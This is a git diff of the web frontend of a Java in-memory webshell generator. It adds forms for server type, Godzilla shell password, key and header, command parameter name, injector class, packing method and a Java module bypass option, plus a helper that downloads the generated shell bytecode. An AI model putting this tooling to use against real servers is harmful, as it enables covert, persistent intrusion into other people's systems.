const parsedEnv = EnvSchema.safeParse(envVars);
|
||||||
|
if (!parsedEnv.success) {
|
||||||
|
throw new Error(
|
||||||
|
`Invalid env provided.
|
||||||
|
The following variables are missing or invalid:
|
||||||
|
${Object.entries(parsedEnv.error.flatten().fieldErrors)
|
||||||
|
.map(([k, v]) => `- ${k}: ${v}`)
|
||||||
|
.join("\n")}
|
||||||
|
`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return parsedEnv.data;
|
||||||
|
};
|
||||||
|
|
||||||
|
export const env = createEnv();
|
||||||
@@ -29,6 +29,7 @@
|
|||||||
--chart-5: 27 87% 67%;
|
--chart-5: 27 87% 67%;
|
||||||
--radius: 0.3rem;
|
--radius: 0.3rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
.dark {
|
.dark {
|
||||||
--background: 240 10% 3.9%;
|
--background: 240 10% 3.9%;
|
||||||
--foreground: 0 0% 98%;
|
--foreground: 0 0% 98%;
|
||||||
@@ -56,10 +57,12 @@
|
|||||||
--chart-5: 340 75% 55%;
|
--chart-5: 340 75% 55%;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@layer base {
|
@layer base {
|
||||||
* {
|
* {
|
||||||
@apply border-border;
|
@apply border-border;
|
||||||
}
|
}
|
||||||
|
|
||||||
body {
|
body {
|
||||||
@apply bg-background text-foreground;
|
@apply bg-background text-foreground;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,32 @@
|
|||||||
import { type ClassValue, clsx } from "clsx";
|
import { type ClassValue, clsx } from "clsx";
|
||||||
|
import { toast } from "sonner";
|
||||||
import { twMerge } from "tailwind-merge";
|
import { twMerge } from "tailwind-merge";
|
||||||
|
|
||||||
export function cn(...inputs: ClassValue[]) {
|
export function cn(...inputs: ClassValue[]) {
|
||||||
return twMerge(clsx(inputs));
|
return twMerge(clsx(inputs));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function downloadJavaClass(base64String?: string, className?: string) {
|
||||||
|
if (!base64String || !className) {
|
||||||
|
toast.warning("内存马字节码为空,无法下载, 请先生成内存马");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const byteCharacters = atob(base64String);
|
||||||
|
const byteNumbers = new Array(byteCharacters.length);
|
||||||
|
for (let i = 0; i < byteCharacters.length; i++) {
|
||||||
|
byteNumbers[i] = byteCharacters.charCodeAt(i);
|
||||||
|
}
|
||||||
|
const byteArray = new Uint8Array(byteNumbers);
|
||||||
|
|
||||||
|
// Create a Blob from the byte array
|
||||||
|
const blob = new Blob([byteArray], { type: "application/java-vm" });
|
||||||
|
|
||||||
|
// Create a download link
|
||||||
|
const link = document.createElement("a");
|
||||||
|
link.href = window.URL.createObjectURL(blob);
|
||||||
|
link.download = `${className.substring(className.lastIndexOf("."))}.class`;
|
||||||
|
|
||||||
|
document.body.appendChild(link);
|
||||||
|
link.click();
|
||||||
|
document.body.removeChild(link);
|
||||||
|
}
|
||||||
|
|||||||
+12
-3
@@ -2,14 +2,17 @@ import { RouterProvider, createRouter } from "@tanstack/react-router";
|
|||||||
import ReactDOM from "react-dom/client";
|
import ReactDOM from "react-dom/client";
|
||||||
import { routeTree } from "./routeTree.gen";
|
import { routeTree } from "./routeTree.gen";
|
||||||
import "./index.css";
|
import "./index.css";
|
||||||
|
import { TailwindIndicator } from "@/components/tailwind-indicator.tsx";
|
||||||
|
import { Toaster } from "@/components/ui/sonner.tsx";
|
||||||
|
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
||||||
|
|
||||||
|
const queryClient = new QueryClient();
|
||||||
|
|
||||||
// Set up a Router instance
|
|
||||||
const router = createRouter({
|
const router = createRouter({
|
||||||
routeTree,
|
routeTree,
|
||||||
defaultPreload: "intent",
|
defaultPreload: "intent",
|
||||||
});
|
});
|
||||||
|
|
||||||
// Register things for typesafety
|
|
||||||
declare module "@tanstack/react-router" {
|
declare module "@tanstack/react-router" {
|
||||||
interface Register {
|
interface Register {
|
||||||
router: typeof router;
|
router: typeof router;
|
||||||
@@ -20,5 +23,11 @@ const rootElement = document.getElementById("app") as HTMLElement;
|
|||||||
|
|
||||||
if (!rootElement.innerHTML) {
|
if (!rootElement.innerHTML) {
|
||||||
const root = ReactDOM.createRoot(rootElement);
|
const root = ReactDOM.createRoot(rootElement);
|
||||||
root.render(<RouterProvider router={router} />);
|
root.render(
|
||||||
|
<QueryClientProvider client={queryClient}>
|
||||||
|
<Toaster />
|
||||||
|
<RouterProvider router={router} />
|
||||||
|
<TailwindIndicator />
|
||||||
|
</QueryClientProvider>,
|
||||||
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -67,9 +67,7 @@ const rootRouteChildren: RootRouteChildren = {
|
|||||||
IndexRoute: IndexRoute,
|
IndexRoute: IndexRoute,
|
||||||
};
|
};
|
||||||
|
|
||||||
export const routeTree = rootRoute
|
export const routeTree = rootRoute._addFileChildren(rootRouteChildren)._addFileTypes<FileRouteTypes>();
|
||||||
._addFileChildren(rootRouteChildren)
|
|
||||||
._addFileTypes<FileRouteTypes>();
|
|
||||||
|
|
||||||
/* ROUTE_MANIFEST_START
|
/* ROUTE_MANIFEST_START
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -1,10 +1,7 @@
|
|||||||
import { ModeToggle } from "@/components/mode-toggle.tsx";
|
import { ModeToggle } from "@/components/mode-toggle.tsx";
|
||||||
import { ThemeProvider } from "@/components/theme-provider.tsx";
|
import { ThemeProvider } from "@/components/theme-provider.tsx";
|
||||||
import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx";
|
|
||||||
import { Button } from "@/components/ui/button.tsx";
|
import { Button } from "@/components/ui/button.tsx";
|
||||||
import { Outlet, createRootRoute } from "@tanstack/react-router";
|
import { Outlet, createRootRoute } from "@tanstack/react-router";
|
||||||
import { TanStackRouterDevtools } from "@tanstack/router-devtools";
|
|
||||||
import { ServerOffIcon } from "lucide-react";
|
|
||||||
|
|
||||||
export const Route = createRootRoute({
|
export const Route = createRootRoute({
|
||||||
component: RootComponent,
|
component: RootComponent,
|
||||||
@@ -43,13 +40,7 @@ function RootComponent() {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</header>
|
</header>
|
||||||
<Alert className="px-4 border-0 border-b">
|
|
||||||
<ServerOffIcon className="h-4 w-4" />
|
|
||||||
<AlertTitle>服务不可用!</AlertTitle>
|
|
||||||
<AlertDescription>未检测到可用后端服务,生成功能暂不可用.</AlertDescription>
|
|
||||||
</Alert>
|
|
||||||
<Outlet />
|
<Outlet />
|
||||||
<TanStackRouterDevtools position="bottom-right" />
|
|
||||||
</div>
|
</div>
|
||||||
</ThemeProvider>
|
</ThemeProvider>
|
||||||
);
|
);
|
||||||
|
|||||||
+120
-16
@@ -1,30 +1,134 @@
|
|||||||
import { MainConfigCard } from "@/components/main-config-card.tsx";
|
import { MainConfigCard } from "@/components/main-config-card.tsx";
|
||||||
import { PackageConfigCard } from "@/components/package-config-card.tsx";
|
import { PackageConfigCard } from "@/components/package-config-card.tsx";
|
||||||
import { ShellConfigCard } from "@/components/shell-config-card.tsx";
|
|
||||||
import { ShellResult } from "@/components/shell-result.tsx";
|
import { ShellResult } from "@/components/shell-result.tsx";
|
||||||
|
import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx";
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
|
import { Form } from "@/components/ui/form.tsx";
|
||||||
|
import { env } from "@/config.ts";
|
||||||
|
import { FormSchema, formSchema } from "@/types/schema.ts";
|
||||||
|
import { APIErrorResponse, ConfigResponseType, GenerateResponse, GenerateResult } from "@/types/shell.ts";
|
||||||
|
import { transformToPostData } from "@/utils/transformer.ts";
|
||||||
|
import { zodResolver } from "@hookform/resolvers/zod";
|
||||||
|
import { useQuery } from "@tanstack/react-query";
|
||||||
import { createFileRoute } from "@tanstack/react-router";
|
import { createFileRoute } from "@tanstack/react-router";
|
||||||
import { WandSparklesIcon } from "lucide-react";
|
import { ActivityIcon, LoaderCircle, ServerOffIcon, WandSparklesIcon } from "lucide-react";
|
||||||
|
import { useState, useTransition } from "react";
|
||||||
|
import { useForm } from "react-hook-form";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
|
||||||
export const Route = createFileRoute("/")({
|
export const Route = createFileRoute("/")({
|
||||||
component: AboutComponent,
|
component: IndexComponent,
|
||||||
});
|
});
|
||||||
|
|
||||||
function AboutComponent() {
|
function IndexComponent() {
|
||||||
|
const { isPending, isError, data } = useQuery<ConfigResponseType>({
|
||||||
|
queryKey: ["config"],
|
||||||
|
queryFn: async () => {
|
||||||
|
const response = await fetch(`${env.API_URL}/config`);
|
||||||
|
return await response.json();
|
||||||
|
},
|
||||||
|
});
|
||||||
|
const form = useForm<FormSchema>({
|
||||||
|
resolver: zodResolver(formSchema),
|
||||||
|
defaultValues: {
|
||||||
|
server: "",
|
||||||
|
targetJdkVersion: "50",
|
||||||
|
debug: false,
|
||||||
|
bypassJavaModule: false,
|
||||||
|
shellClassName: "",
|
||||||
|
shellTool: "",
|
||||||
|
shellType: "",
|
||||||
|
urlPattern: "/*",
|
||||||
|
godzillaPass: "pass",
|
||||||
|
godzillaKey: "key",
|
||||||
|
godzillaHeaderName: "User-Agent",
|
||||||
|
godzillaHeaderValue: "test",
|
||||||
|
commandParamName: "cmd",
|
||||||
|
injectorClassName: "",
|
||||||
|
packingMethod: "Base64",
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
const [packResult, setPackResult] = useState<string>("// 等待填写参数生成中");
|
||||||
|
const [generateResult, setGenerateResult] = useState<GenerateResult>();
|
||||||
|
const [packMethod, setPackMethod] = useState<string>("");
|
||||||
|
const [isActionPending, startTransition] = useTransition();
|
||||||
|
|
||||||
|
async function onSubmit(values: FormSchema) {
|
||||||
|
startTransition(async () => {
|
||||||
|
if (values.shellType.endsWith("Servlet") && values.urlPattern === "/*") {
|
||||||
|
toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const postData = transformToPostData(values);
|
||||||
|
try {
|
||||||
|
const response = await fetch(`${env.API_URL}/generate`, {
|
||||||
|
method: "POST",
|
||||||
|
headers: {
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
},
|
||||||
|
body: JSON.stringify(postData),
|
||||||
|
});
|
||||||
|
await new Promise((resolve) => setTimeout(resolve, 500));
|
||||||
|
if (response.ok) {
|
||||||
|
const json: GenerateResponse = await response.json();
|
||||||
|
setPackResult(json.packResult);
|
||||||
|
setGenerateResult(json.generateResult);
|
||||||
|
setPackMethod(values.packingMethod);
|
||||||
|
toast.success("生成成功");
|
||||||
|
} else {
|
||||||
|
const json: APIErrorResponse = await response.json();
|
||||||
|
toast.error(`生成失败,${json.error}`);
|
||||||
|
}
|
||||||
|
} catch (err) {
|
||||||
|
const error = err as Error;
|
||||||
|
toast.error(`生成失败,${error.message}`);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="flex flex-col md:flex-row gap-4 p-4">
|
<div className="mt-4">
|
||||||
<div className="w-full md:w-1/2 space-y-4">
|
<div className="px-4">
|
||||||
<MainConfigCard />
|
{isPending && (
|
||||||
<ShellConfigCard />
|
<Alert>
|
||||||
<PackageConfigCard />
|
<LoaderCircle className="animate-spin h-4 w-4" />
|
||||||
<Button className="w-full">
|
<AlertTitle>Pending</AlertTitle>
|
||||||
<WandSparklesIcon />
|
<AlertDescription>正在全力搜索可用的后端服务~</AlertDescription>
|
||||||
Generate
|
</Alert>
|
||||||
</Button>
|
)}
|
||||||
</div>
|
{isError && (
|
||||||
<div className="w-full md:w-1/2 space-y-4">
|
<Alert variant="destructive">
|
||||||
<ShellResult />
|
<ServerOffIcon className="h-4 w-4" />
|
||||||
|
<AlertTitle>Not Work!</AlertTitle>
|
||||||
|
<AlertDescription>未检测到可用后端服务,生成功能暂不可用.</AlertDescription>
|
||||||
|
</Alert>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{data && (
|
||||||
|
<Alert>
|
||||||
|
<ActivityIcon className="h-4 w-4" />
|
||||||
|
<AlertTitle>It Work!</AlertTitle>
|
||||||
|
<AlertDescription>Let's start the party! 🎉</AlertDescription>
|
||||||
|
</Alert>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
<Form {...form}>
|
||||||
|
<form onSubmit={form.handleSubmit(onSubmit)} className="flex flex-col xl:flex-row gap-4 p-4">
|
||||||
|
<div className="w-full xl:w-1/2 space-y-2">
|
||||||
|
<MainConfigCard servers={data?.servers} mainConfig={data?.core} form={form} />
|
||||||
|
<PackageConfigCard packerConfig={data?.packers} form={form} />
|
||||||
|
<Button className="w-full" type="submit" disabled={isActionPending}>
|
||||||
|
{isActionPending ? <LoaderCircle className="animate-spin" /> : <WandSparklesIcon />}
|
||||||
|
Generate
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
<div className="w-full xl:w-1/2 space-y-4">
|
||||||
|
<ShellResult packMethod={packMethod} generateResult={generateResult} packResult={packResult} />
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</Form>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,21 @@
|
|||||||
|
import * as z from "zod";
|
||||||
|
|
||||||
|
export const formSchema = z.object({
|
||||||
|
server: z.string().min(1),
|
||||||
|
targetJdkVersion: z.optional(z.string()),
|
||||||
|
debug: z.optional(z.boolean()),
|
||||||
|
bypassJavaModule: z.optional(z.boolean()),
|
||||||
|
shellClassName: z.string().optional(),
|
||||||
|
shellTool: z.string().min(1),
|
||||||
|
shellType: z.string().min(1),
|
||||||
|
urlPattern: z.optional(z.string()),
|
||||||
|
godzillaPass: z.optional(z.string()),
|
||||||
|
godzillaKey: z.optional(z.string()),
|
||||||
|
godzillaHeaderName: z.optional(z.string()),
|
||||||
|
godzillaHeaderValue: z.optional(z.string()),
|
||||||
|
commandParamName: z.optional(z.string()),
|
||||||
|
injectorClassName: z.optional(z.string()),
|
||||||
|
packingMethod: z.string().min(1, { message: "请选择打包方式" }),
|
||||||
|
});
|
||||||
|
|
||||||
|
export type FormSchema = z.infer<typeof formSchema>;
|
||||||
@@ -0,0 +1,73 @@
|
|||||||
|
export interface ShellConfig {
|
||||||
|
server: string;
|
||||||
|
shellTool: string;
|
||||||
|
shellType: string;
|
||||||
|
targetJreVersion?: string;
|
||||||
|
debug?: boolean;
|
||||||
|
byPassJavaModule?: boolean;
|
||||||
|
obfuscate?: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ShellToolConfig {
|
||||||
|
shellClassName?: string;
|
||||||
|
godzillaPass?: string;
|
||||||
|
godzillaKey?: string;
|
||||||
|
godzillaHeaderName?: string;
|
||||||
|
godzillaHeaderValue?: string;
|
||||||
|
commandParamName?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface CommandShellToolConfig {
|
||||||
|
shellClassName?: string;
|
||||||
|
paramName?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface GodzillaShellToolConfig {
|
||||||
|
shellClassName?: string;
|
||||||
|
pass?: string;
|
||||||
|
key?: string;
|
||||||
|
headerName?: string;
|
||||||
|
headerValue?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface InjectorConfig {
|
||||||
|
className?: string;
|
||||||
|
urlPattern?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ConfigResponseType {
|
||||||
|
servers: string[];
|
||||||
|
core: MainConfig;
|
||||||
|
packers: PackerConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface MainConfig {
|
||||||
|
[serverName: string]: {
|
||||||
|
[toolName: string]: string[];
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface PackerConfig {
|
||||||
|
[packerName: string]: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface GenerateResponse {
|
||||||
|
packResult: string;
|
||||||
|
generateResult: GenerateResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface APIErrorResponse {
|
||||||
|
error: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface GenerateResult {
|
||||||
|
shellClassName: string;
|
||||||
|
shellSize: number;
|
||||||
|
shellBytesBase64Str: string;
|
||||||
|
injectorClassName: string;
|
||||||
|
injectorSize: number;
|
||||||
|
injectorBytesBase64Str: string;
|
||||||
|
shellConfig: ShellConfig;
|
||||||
|
shellToolConfig: CommandShellToolConfig | GodzillaShellToolConfig;
|
||||||
|
injectorConfig: InjectorConfig;
|
||||||
|
}
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
import { FormSchema } from "@/types/schema.ts";
|
||||||
|
import { InjectorConfig, ShellConfig, ShellToolConfig } from "@/types/shell.ts";
|
||||||
|
|
||||||
|
export function transformToPostData(formValue: FormSchema) {
|
||||||
|
const shellConfig: ShellConfig = {
|
||||||
|
server: formValue.server,
|
||||||
|
shellTool: formValue.shellTool,
|
||||||
|
shellType: formValue.shellType,
|
||||||
|
targetJreVersion: formValue.targetJdkVersion,
|
||||||
|
byPassJavaModule: formValue.bypassJavaModule,
|
||||||
|
};
|
||||||
|
const shellToolConfig: ShellToolConfig = {
|
||||||
|
shellClassName: formValue.shellClassName,
|
||||||
|
godzillaPass: formValue.godzillaPass,
|
||||||
|
godzillaKey: formValue.godzillaKey,
|
||||||
|
godzillaHeaderName: formValue.godzillaHeaderName,
|
||||||
|
godzillaHeaderValue: formValue.godzillaHeaderValue,
|
||||||
|
commandParamName: formValue.commandParamName,
|
||||||
|
};
|
||||||
|
|
||||||
|
const injectorConfig: InjectorConfig = {
|
||||||
|
urlPattern: formValue.urlPattern,
|
||||||
|
className: formValue.injectorClassName,
|
||||||
|
};
|
||||||
|
return {
|
||||||
|
shellConfig,
|
||||||
|
shellToolConfig,
|
||||||
|
injectorConfig,
|
||||||
|
packer: formValue.packingMethod,
|
||||||
|
};
|
||||||
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
{"root":["./src/config.ts","./src/main.tsx","./src/routetree.gen.ts","./src/components/code-viewer.tsx","./src/components/main-config-card.tsx","./src/components/mode-toggle.tsx","./src/components/package-config-card.tsx","./src/components/shell-result.tsx","./src/components/tailwind-indicator.tsx","./src/components/theme-provider.tsx","./src/components/tips/jre-tip.tsx","./src/components/tips/url-pattern-tip.tsx","./src/components/ui/alert.tsx","./src/components/ui/button.tsx","./src/components/ui/card.tsx","./src/components/ui/checkbox.tsx","./src/components/ui/dropdown-menu.tsx","./src/components/ui/form.tsx","./src/components/ui/input.tsx","./src/components/ui/label.tsx","./src/components/ui/radio-group.tsx","./src/components/ui/select.tsx","./src/components/ui/separator.tsx","./src/components/ui/sonner.tsx","./src/components/ui/switch.tsx","./src/components/ui/tabs.tsx","./src/components/ui/textarea.tsx","./src/components/ui/tooltip.tsx","./src/lib/utils.ts","./src/routes/__root.tsx","./src/routes/index.tsx","./src/types/schema.ts","./src/types/shell.ts","./src/utils/transformer.ts"],"version":"5.7.2"}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
{"root":["./vite.config.ts"],"version":"5.7.2"}
|
||||||
Reference in New Issue
Block a user